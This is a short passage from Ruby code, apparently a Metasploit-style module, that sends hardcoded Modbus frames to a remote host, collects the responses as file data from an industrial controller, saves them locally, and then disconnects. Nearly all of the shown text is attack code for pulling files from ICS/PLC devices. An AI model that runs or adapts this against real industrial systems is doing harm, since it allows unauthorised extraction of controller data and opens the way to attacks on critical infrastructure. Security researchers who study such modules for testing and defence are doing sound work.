697 | response = send_frame(make_frame("\x01\x5a\x00\x28\x18\xfc\x03\x07\xec\x00"))
698 | filedata += response[0xe..-1]
699 | response = send_frame(make_frame("\x01\x5a\x00\x28\x04\xfd\x03\x07\xec\x00"))
700 | filedata += response[0xe..-1]
701 | response = send_frame(make_frame("\x01\x5a\x00\x28\xf0\xfd\x03\x07\xec\x00"))
702 | filedata += response[0xe..-1]
703 | response = send_frame(make_frame("\x01\x5a\x00\x28\xdc\xfe\x03\x07\x8f\x00"))
704 | filedata += response[0xe..-1]
705 | response = send_frame(make_frame("\x01\x5a\x00\x28\x6c\xff\x03\x07\x94\x00"))
706 | filedata += response[0xe..-1]
707 |
708 | print_status("#{rhost}:#{rport} - MODBUS - Closing file '#{datastore['FILENAME']}'")
709 | file.print filedata
710 | file.close
711 | end
712 | def cleanup
713 | disconnect rescue nil
714 | end
715 | end
716 |
--------------------------------------------------------------------------------